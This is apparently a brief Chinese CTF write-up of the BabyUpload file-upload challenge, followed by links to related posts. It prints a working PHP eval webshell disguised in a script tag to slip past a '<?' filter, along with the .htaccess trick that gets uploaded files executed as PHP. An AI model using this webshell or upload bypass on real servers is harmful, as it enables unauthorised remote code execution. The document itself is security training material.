尝试各种文件，黑名单过滤后缀ph，content-type限制image/jpeg
内容过滤<?，木马改用<script language='php'>@eval($_POST['cmdjs']);</script>
上传.htaccess将上传的文件当作php解析
蚁剑连接得到flag
[GXYCTF2019]BabyUpload1
2024-01-27 11:36:02 28 阅读
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/61643d3532ef4273ad4c0014311485c5.png#pic_center)
![BUUCTF——[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/7cfb4e8765684478a0eb01aca3ed059a.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>-BUUTF](https://img-blog.csdnimg.cn/direct/c36a1addefe644a9a04a9eebb1acbc1a.png)
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>](https://img-blog.csdnimg.cn/direct/6fd1f16627ee4c188e212f8ed217e6ec.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabySQli <span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/91c28d519b114ecd8ddefe25e273a1f6.png)
![web：[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]<span style='color:red;'>BabyUpload</span>（文件上传、一句话木马、文件过滤）](https://img-blog.csdnimg.cn/direct/d3617f4b1acc4e8bb0fb69f0f6ac4cc3.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/242ea6f058e54e118fe21f9244452108.png)
![无参RCE [<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/c127b20174cb424ba8d46dde12a03edf.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃](https://img-blog.csdnimg.cn/direct/92ddb82a646a49889da8d666771c647c.png)
![[足式机器人]Part2 Dr. CAN学习笔记- 最优控制Optimal Control Ch07](https://img-blog.csdnimg.cn/direct/e696fd22eefb4c99b5dfeede070cdf48.png#pic_center)
